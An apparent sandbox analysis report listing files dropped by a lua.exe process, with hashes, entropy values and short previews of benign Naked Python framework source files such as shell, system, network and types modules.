Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:15 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\python.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2157
Entropy (8bit):	3.31195971890696
Encrypted:	false
SSDEEP:	24:8cR59Wyma9wpwQKPJKFJgpwsUYKZ+pwPhnRhYKqFRvpw2J1BXdpwJ/C1BlwmaT:8UjmatQUKF1OKZBPDiKq7WAXdeOCmaT
MD5:	DF45DD100246A63C4556286D0D8DDE7B
SHA1:	AE259CBFE67DF3D093A766F82E83CF3AF5BD58A6
SHA-256:	593493E65615AA2CC2B405DB1D9A9DE4718E3BDCB0082C4FF1D6F32C1DAD6DC3
SHA-512:	F7E7BFA34E212AED221F66FD4D637F620A57B69B2A6141B96C0C04141EC01031D823D8F7517655A9ED8ACE7CA356CF5621A2A58BB0B2F216C4BB9FDDC7EB8CCF
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=True..from sys import version_info..#------------------------------------------------------------------------------.# Python Versions.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------.# [ py_version function ] (tuple of (major, minor, patch)).#------------------------------------------------------------------------------.def py_version():..return (version_info[0], version_info[1], version_info[2])..#------------------------------------------------------------------------------.# [ py_major_version function ] (integer).# Return Python interpreter major version number.#------------------------------------------------------------------------------.def py_major_version():..return (version_info[0])..#------------------------------------------------------------------------------.# [ py_minor_version function ] (integer).#

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\setup.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	654
Entropy (8bit):	4.615610772735726
Encrypted:	false
SSDEEP:	12:1BNMdhwNMRleu6ypAyU4PT03ZMVT/YB0TVFT+FSeXcGTGWl4TdG4tEYTzoS6TleO:1BNM4MT6JT+g3Z++0THeBFl4vtXnoX5x
MD5:	9767B207528D4A7E34427E2BB49FC12A
SHA1:	1F1410E511BD9849D3287E3820C7078E20D1D57C
SHA-256:	A0EB9EAFC27566A271C56857898CE6B4F9B279A432D85350369D5CF7D0331785
SHA-512:	93C4C4E7584749ADE6D398CE50C5CA523BEF27B7A043C7A8B979A5203B9300E185726FEFF8ECE6DB9937394D1D0391DBB671165C55DCC3AF1A0544EB1AD030DD
Malicious:	false
Preview:	from distutils.core import setup.from distutils.extension import Extension..ext_bench = Extension("benchmarking", ["benchmarking.c"]).ext_casts = Extension("casts", ["casts.c"]).ext_file = Extension("file", ["file.c"]).ext_ink = Extension("ink", ["ink.c"]).ext_net = Extension("network", ["network.c"]).ext_py = Extension("python", ["python.c"]).ext_shell = Extension("shell", ["shell.c"]).ext_state = Extension("cstate", ["cstate.c"]).ext_sys = Extension("system", ["system.c"]).ext_types = Extension("types", ["types.c"])...setup(. ext_modules = [ext_bench, ext_casts, ext_file, ext_ink, ext_net, ext_py, ext_shell, ext_state, ext_sys, ext_types].).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\shell.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	376470
Entropy (8bit):	5.0897509615893535
Encrypted:	false
SSDEEP:	6144:DJYM+ecIDyBu8u2uioMDrhy9T9n422LAzEMiEyQX/sZxxCQDYM2PiFWrpDKhJMR8:U6a9
MD5:	3F514FAC00F1C07D07519D6933922FF5
SHA1:	0690D457FA51D3F1BAD6B4D784EE9F43D30F6822
SHA-256:	D42AE0770510B07924CCA2AF5587E666803A39A1B6DF1AAB88A88ED1AFEC79C2
SHA-512:	8E43E832D77825F3C50590920C029B687A9FFB3E8C588F05291E65A6F67D00B5E7E549483E9B2B72C2FA49D8AA95E7400049C21C5DD838D80CA3CD4F2E22A733
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:15 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\shell.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12629
Entropy (8bit):	4.365234100349405
Encrypted:	false
SSDEEP:	192:LmWeDFtGhocSh5XeveiWUFGUPS4U49t/q/lom9odaidolQi+lzmA1z2e5Tz:LFeDHG+ccONCSbS/lokoXolelzHnz
MD5:	3447F1A7040248DD5E52F5084000CEE4
SHA1:	54A6CAF500F222766D44D6694A79439708C2C470
SHA-256:	79FA6F9E74FC72EEB15CE1AF86A7763293028AFD99E046AEF158D1A7DA406127
SHA-512:	A3A08F54D93CF5FCC7A5FDD3EE1533E47678B8C4904C17CB9693C3300BB076F682B7BF75A9C7DDB2F72F3487D3609A9D9B3F81F41E7F354BB1BD4213802653E8
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..import os.import sys.import subprocess.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ execute function ] (boolean).# run a shell command and print std out / std err to terminal.# returns True if exit status = 0.# returns False if exit status != 0.#------------------------------------------------------------------------------.def execute(command):. try:. response = subprocess.call(command, shell=True). if response == 0:. return True. else:. return False. except subprocess.CalledProcessError as cpe:. try:. sys.stderr.write(cpe.output). except TypeError as te:. sys.stderr.write(str(cpe.output)). except Exception as e:. if DEBUG_FLAG:. sys.stderr.write("Naked Framework Error: unable to run the shell command with the execute() function

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\system.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	620280
Entropy (8bit):	5.110617689524457
Encrypted:	false
SSDEEP:	6144:xYNIp9+zlh6GE8Nw/9c7iDr/ckrGdVIz0jYIcfT4MseeIxHeHPP1VqvPjhfywT0h:zk
MD5:	BAB1835F5CE2BCDBE7F124C15D290D77
SHA1:	1FD6F139680C8CB386C52310EC6FF9DABA634C3D
SHA-256:	6D245FB9865EF02E67224D9666B7179B979878967EDCEC03E60CF1DA3C143ED1
SHA-512:	04EBC7C94F2F9374068B074DEA9F9E54C2F83A1C2C6286613B09F61D95B3E8CDC5DD3247EC8BE616BC173C85BE04A77F23A706E38CFA8F21B184A0ECE970691B
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:16 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\system.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24684
Entropy (8bit):	4.225348006273285
Encrypted:	false
SSDEEP:	384:iB+gHg0+g6u0NZCEhZv+BlbXlgVo/RmiCS:inA0+g6uyXhZmBlbXMiN
MD5:	F4FAE281D914B290101199F3966900C9
SHA1:	EBC3C2EE2E7687D3136EE55DF2C1F7A4E8D2426D
SHA-256:	6CF8C27319162EE4BE5F90998140BC4648A5736C7E4BE5F67BD324BF311FFB1C
SHA-512:	084029318667C5D0249F4BDED67A725B99A87423FAD51EDDB4E0934D7CEA6A2CC786E2D03B56ADED90003A41E31715DDC31FDBF1B21487BD0277C59B34CD0282
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..import sys.import os.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.#.# FILE & DIRECTORY PATHS.#.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------.# [ filename function ] (string).# returns file name from a file path (including the file extension).# Tests: test_SYSTEM.py :: test_sys_filename.#------------------------------------------------------------------------------.def filename(filepath):. try:. return os.path.basename(filepath). except Exception as e:. if DEBUG_FLAG:. sys.stderr.write("Naked Framework Error: unable to return base filename from filename() function (Naked.toolshed.system)."). raise e..#------------------------------------------------------------------------------.# [ file

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\types.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	1240797
Entropy (8bit):	5.123945936941437
Encrypted:	false
SSDEEP:	6144:d1uUtuou/u3uRuyGuku9unubuCufu2uvVqsFuDuSu4uVI1uNLukuYu2uTuauZuZA:d+jfhgSKytfsk3sb8513qcSVdF8C1E
MD5:	2D2F5592FA6D4C0BA50F17DC0506BF5A
SHA1:	69AC49D96453FD2B0C7F0E0397B48C9F50EB5B41
SHA-256:	493BD1D0E13F3CB906AE8B35074BE37A90997610A51238DA08492ACAE64D30E7
SHA-512:	1123151CA444CD418FC77DE99B550ED8593D54FBE4342D79F65630DE443286979750EDBA7B207B401423848EB3FFD19E4A4C23B8D0DF83C06908A0855F30781F
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:16 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\types.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	44721
Entropy (8bit):	4.058826170197892
Encrypted:	false
SSDEEP:	384:is746tyyfJsfJoEl2MaHXwC5IcLJu0J2uUJeBT6DKKDUO3wyCTdQmLW+nc8Qhhco:i2x9RsRtlBwTLo0HU04qJnOhh08
MD5:	015BD1E06BDFAF08BCD3480062081A8F
SHA1:	632FD45A1A5FF2C1EFD4B785C672FD5160F1EA6A
SHA-256:	7A9D0D911FCE15B9A9F7A29A031E66C4F618513B5CED5E8BD6A4A468B4BFA2AF
SHA-512:	967E299C14E3BD4FEA5AE9EFF2C19CE87CA68E2F0BE766785D4176FCAABB789B4B981F252F75E96DCB53E7F68161E70E4538389D2F17EF5CC9A707D157B77F35
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..import sys.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [[ NakedObject class ]].# A generic Python object.# Assigns object attributes by key name in the dictionary argument to the constructor.# The methods are inherited by other mutable Naked object extension types.# Attribute accessors: hasattr, getattr, setattr, delattr.#------------------------------------------------------------------------------.class NakedObject(object):. # initialize with an attributes dictionary {attribute_name: attribute_value}. def __init__(self, attributes={}, naked_type='NakedObject'):. if len(attributes) > 0:. for key in attributes:. setattr(self, key, attributes[key]). setattr(self, '_naked_type_', naked_type) # maintain an attribute to keep track of the extension type.. #------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\casts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5126
Entropy (8bit):	4.334569608303342
Encrypted:	false
SSDEEP:	96:8Loa/tNfyuGLLGOJZ/pOn2d2ZgBDUxORT12BDvytRzZhX:ioaVN6uGXGOz2jgFL12FUnhX
MD5:	FED5CB81F39FACCE712206BC837452D7
SHA1:	283626BBAA75D067DF9CC8E9524DF0226B1FB650
SHA-256:	7A568D969D2105127F6C53D35FEE1E601F748263EB6D53F3FFA4D8E0716B6DCF
SHA-512:	FF161436E4D6FDC2B1FD6E1D094FAD2FF01F560D438018E01C284EBAEA48B7CA7CBF7AB4B9FDFD5A821F3C1BE0EEDACD0538ACED095F06D3696202119D8AC3E5
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# tests in test_CASTS.py..from Naked.toolshed.types import NakedObject, XFSet, XDict, XList, XQueue, XSet, XString, XTuple.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ nobj ] (NakedObject).# Cast a dictionary of attributes to a NakedObject with key>attribute mapping.#------------------------------------------------------------------------------.def nobj(attributes={}):. try:. return NakedObject(attributes). except Exception as e:. if DEBUG_FLAG:. print("Naked Framework Error: unable to create a NakedObject with the requested argument using the nobj() function (Naked.toolshed.casts.py)."). raise e..#------------------------------------------------------------------------------.# [ xd function ] (XDict).# Cast a Python dictionary to a XDict.#------------------------------------------------------------------------------.def

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19941
Entropy (8bit):	4.299730452278875
Encrypted:	false
SSDEEP:	192:DOSFvnSlqKoWFD1fg8OQzdk4sHzVO8r1uWFHOa1iCYhulbUkc/X:DOivSYAH3244T5N68C
MD5:	9FBC7BE8877B16EC64A9F07B8202E0CC
SHA1:	F738BBA41FDF3CDBC4D9C76774134703D58B5DED
SHA-256:	167621A150A09D3614F968DE7422C9160B1DF5492F6EF24DB7927E7ED58C2F71
SHA-512:	D396FFDC25194C1CB86063B198EFE1DED15B7388F1B943ACDEF2ACB7B83F09C88B2C07F8B4453889A4ED25CE52AB2B477686003DE23295FB91C7F847D14CC29F
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ IO class ].# interface for all local file IO classes.#------------------------------------------------------------------------------.class IO:. def __init__(self,filepath):. self.filepath = filepath..#------------------------------------------------------------------------------.# [ FileWriter class ].# writes data to local files.#------------------------------------------------------------------------------.class FileWriter(IO):. def __init__(self, filepath):. IO.__init__(self, filepath).. #------------------------------------------------------------------------------. # [ append method ]. # Universal text file writer that appends to existing file using system default text encoding or utf-8 if throws unicode error. # Tests: test_IO.py:: test_file_ascii_readwrite_appe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\git.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.486795939742496
Encrypted:	false
SSDEEP:	3:TKQWaHMPAtgDKCtQlq3UDFRLhAj5EMC9/on:HWaHUclqkDFAjajK
MD5:	004FF3658F8824368A1FCDDD164B9C28
SHA1:	4EED4A950B2047E828729B8940E0D92D9D4A9186
SHA-256:	5805FFB27B8E1695482013D1B08657BDADB8C0AEBB30404D644E5E493E1F4838
SHA-512:	8DC17D8DF9CBBA5D5BEFE2BAD1BBB6394675E94DC4042545ADC3FC5BE02376E382B17942DF03B3B995BA6ADCFE4908AA6FEF3BC2531EB63F0370ACE25471262C
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8....if __name__ == '__main__':. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\ink.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	5436
Entropy (8bit):	4.361346937854681
Encrypted:	false
SSDEEP:	96:8q1IrepFdlbKM3EivWIWEiElqUls9SLmzKM50ku:R8M3vvWIY3507
MD5:	923A85BD0ED7DC45847F8A2F0CDAA837
SHA1:	68B16B6ECB407E89BFA11B8B9AAC34D50B2629FF
SHA-256:	F62FD92698295ED2EA0ECDF63851A87A2354EC08E8EF1C0A988F4574209C32DF
SHA-512:	1CB573D08D84A46B27C75472E60E1B7E4975B8DDE2F478604E1A7435D8C87ED85774779D6C50A3251B42190CCEA78344AC44ED4839401C450495AEBFBDFF0BD9
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..#------------------------------------------------------------------------------.# The Ink Templating System.# A lightweight, fast, flexible text templating system.# Copyright 2014 Christopher Simpkins.# MIT License.#------------------------------------------------------------------------------.import re..#------------------------------------------------------------------------------.# Template class.# A template string class that is inherited from Python str.# Includes metadata about the template:.# odel = opening delimiter.# cdel = closing delimiter.# varlist = inclusive list of all variables in the template text (parsed in constructor).# Delimiters:.# default = {{variable}}.# assign new opening and closing delimiters as parameters when you make a new Template instance.# `escape_regex` boolean is a speedup, avoids Python escape of special regex chars if you do not need it.#------------------------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\iter.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	500
Entropy (8bit):	3.989902289060466
Encrypted:	false
SSDEEP:	12:HccZYGoT/XxnvH7YM2ipSsaFWpy1gg2aG:8cSGojBUd51gtaG
MD5:	876FCDE0C3936ECA59DF8D21D515A0A8
SHA1:	CA9BFCD1F321B0C4FF409B544AC41249FCF3DB9B
SHA-256:	C946A51FFB725D8B44AAC143BB2DA7E597EEB2C5E6745BA7CE00385BB61DCFD3
SHA-512:	09B738D9DE4D800B03DE5236004F3A92E05D0C91AE49A46D5722EAF3D2D350042C98E6326F7B2DE86EE472857EB2043E31CD826966DEF373C57222922FCA6164
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import itertools..#------------------------------------------------------------------------------.# [ chain_iter method ] (iterable items of type contained in multiple list arguments).# Generator that returns iterable for each item in the multiple list arguments in sequence.#------------------------------------------------------------------------------.def chain_iter(self, lists):. return itertools.chain(lists)..if __name__ == '__main__':. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\network.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19525
Entropy (8bit):	4.33227575811265
Encrypted:	false
SSDEEP:	192:DJ/GqPqvvWvH9pBE3O4cLtb3o4E/T16vMxv2Mvr8Bj4BoGaLtssQiT2sBGxhO:DpFSmVpa33c93o4gwKbABUBoGbsusBn
MD5:	9CB6C4844F0E589BA7304AD5F9CD4319
SHA1:	00E00BEF1DF9F1C7C8C465280F2FE26656E8EA66
SHA-256:	5694D29BA5D0CB63E6FFE6ADB2ACADE6F77D64C9D816B26C7C984FC19D91FA3B
SHA-512:	A522EB3EE7D0006F1132C5472B7C508A92F504F397C45BCE247EF6EB92EAEC5657B1C390BAF62033DA29917459BC6D89E0C86E65DBB6A05414D1FA7840E2E085
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.import requests.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.#[ HTTP class].# handle HTTP requests.# Uses the requests external library to handle HTTP requests and response object (available on PyPI).#------------------------------------------------------------------------------.class HTTP():. def __init__(self, url="", request_timeout=10):. self.url = url. self.request_timeout = request_timeout. #------------------------------------------------------------------------------. # HTTP response properties (assignment occurs with the HTTP request methods). #------------------------------------------------------------------------------. self.res = None # assigned with the requests external library response object after a HTTP method call.. #---------------------------------------------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\python.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2158
Entropy (8bit):	3.327499124293463
Encrypted:	false
SSDEEP:	24:8ciypWyma9wpwQKPJKFJgpwsUYKZ+pwPhnRhYKqFRvpw2J1BXdpwJ/C1BlwmaT:8NydmatQUKF1OKZBPDiKq7WAXdeOCmaT
MD5:	29AC43C7F66BD0E42D321277A56A6550
SHA1:	E4DD7F7CBE5E8F5CE95164DAADE00B248FFD1E86
SHA-256:	958F8D6FC9F2980A48C88E29589347B2DD75540F0827280117AD804A78E0F589
SHA-512:	36FCD145252FD81AA29CD880A8764859426B422A0DBFB0F119999DD890DDD53E3E198B6E6600ED464DF93B31DA023C82724983FA98601E5490EE76243E88FF79
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# tests: test_PYTHON.py..from sys import version_info..#------------------------------------------------------------------------------.# Python Versions.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------.# [ py_version function ] (tuple of (major, minor, patch)).#------------------------------------------------------------------------------.def py_version():..return (version_info[0], version_info[1], version_info[2])..#------------------------------------------------------------------------------.# [ py_major_version function ] (integer).# Return Python interpreter major version number.#------------------------------------------------------------------------------.def py_major_version():..return (version_info[0])..#------------------------------------------------------------------------------.# [ py_minor_version function ] (integer).#

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\shell.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12605
Entropy (8bit):	4.36322286153584
Encrypted:	false
SSDEEP:	192:imWeDFtGhocSh5XeveiWUFGUPS4U49t/q/lom9odaidolQi+lzmA1z2e5Tz:iFeDHG+ccONCSbS/lokoXolelzHnz
MD5:	B8EB55849748C5BC28474611DA0F7AA8
SHA1:	4D2A26868E1E630143D3F5317133085FD90623BC
SHA-256:	F2101DCD2D794D3CE87C7AF699108BA5FED38533620D5A2E423588D7C2D208D8
SHA-512:	1D37DB453D2993D9D8D960DABFDC46E938F2E18F24E0A09507B7425A8EA2889FE09CDF82A85CF88B951A3C183C4B6793487993609D557AAE4D8A328CCE5CFE6D
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import os.import sys.import subprocess.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ execute function ] (boolean).# run a shell command and print std out / std err to terminal.# returns True if exit status = 0.# returns False if exit status != 0.#------------------------------------------------------------------------------.def execute(command):. try:. response = subprocess.call(command, shell=True). if response == 0:. return True. else:. return False. except subprocess.CalledProcessError as cpe:. try:. sys.stderr.write(cpe.output). except TypeError as te:. sys.stderr.write(str(cpe.output)). except Exception as e:. if DEBUG_FLAG:. sys.stderr.write("Naked Framework Error: unable to run the shell command with the execute() function (Naked.toolshed.shell.py

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\state.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	4.875255915735517
Encrypted:	false
SSDEEP:	24:8cqRQl58fAlQo/k3Xs+3CqoMAGXcmRJPf5kxUm2w8+vl+vnKWaT:8dml58fLo/+Xs8zAGXcoJPf5xm2EyaT
MD5:	21745E3D60AE9A346611A87472AAC8CA
SHA1:	27C2A2EF98805B2D56F033F867E0814EAAA2C1B3
SHA-256:	FCF9C3318E55C2CF495CDE95768425356C21675130A22C140EEFAA8E5FCD9A4E
SHA-512:	EC4AA7C830A4DB7281F4AC780ED16AB6267148A2328B2AF567E5D1C0D81DBD9501B37D8E5098623467771BF038F29CCAC9391DDC9E4F4734449A522753F689BD
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..from Naked.settings import debug as DEBUG_FLAG.from Naked.toolshed.system import cwd.import Naked.toolshed.python as py.import sys.import os.import datetime..class StateObject:..def __init__(self):...now = datetime.datetime.now()...self.py2 = py.is_py2() #truth test Python 2 interpreter...self.py3 = py.is_py3() #truth test Python 3 interpreter...self.py_major = py.py_major_version() #Python major version...self.py_minor = py.py_minor_version() #Python minor version...self.py_patch = py.py_patch_version() #Python patch version...self.os = sys.platform #user operating system...self.cwd = cwd() #current (present) working directory...self.parent_dir = os.pardir...self.default_path = os.defpath...self.user_path = os.path.expanduser("~")...self.string_encoding = sys.getdefaultencoding()...self.file_encoding = sys.getfilesystemencoding()...self.hour = now.hour...self.min = now.minute...self.year = now.year...self.day = now.day...self.month = now.month.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\system.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24660
Entropy (8bit):	4.224064457552497
Encrypted:	false
SSDEEP:	384:DB+gHg0+g6u0NZCEhZv+BlbXlgVo/RmiCS:DnA0+g6uyXhZmBlbXMiN
MD5:	F8AC7E3CF82AFF75A26ABFBAA4D7A0B8
SHA1:	6797DEC5C87F01F418E4A575D67B395684A2933F
SHA-256:	21E261A2882587129B2A21B9358C3AFF27BC31E44A3526399CECF505909904D9
SHA-512:	9AB1A5A9A7ECF5F543AA3B105FD2353676E94959B46508F3C60DC08F5346D7CB8464C87722E0955916EBF0F5CE9D5DE9409B3A5D5C65069E1C7C043247D7F117
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.import os.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.#.# FILE & DIRECTORY PATHS.#.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------.# [ filename function ] (string).# returns file name from a file path (including the file extension).# Tests: test_SYSTEM.py :: test_sys_filename.#------------------------------------------------------------------------------.def filename(filepath):. try:. return os.path.basename(filepath). except Exception as e:. if DEBUG_FLAG:. sys.stderr.write("Naked Framework Error: unable to return base filename from filename() function (Naked.toolshed.system)."). raise e..#------------------------------------------------------------------------------.# [ file_extension function ] (s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\types.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	44532
Entropy (8bit):	4.055083195219851
Encrypted:	false
SSDEEP:	384:Ds746tyyfJsfJoEl2MaHXwC5IcLJu0J2uUJeBT6DKK7U5wyCTdQmLW+nc8Qhhcb8:D2x9RsRtlBwTLo0HU04nJnOhh08
MD5:	B5A92CD76D737C565A90866C6AE0CFF9
SHA1:	3CFC0EE3CC31CA646CDF0B7B36E98F729164D833
SHA-256:	C5DFC1BBF7CABB415B50B0F812FC10FCE05858CB81563E6BE29131E169BBAE20
SHA-512:	2170FBD5FF421F641AE73E35E96C906C471E867D6C752F836ADBBD5DBE5E8E6A6193B012E25B45CB255ED8BC0AE9DC5B9B354CC5EB4BDF4F4F4500852301AE43
Malicious:	false
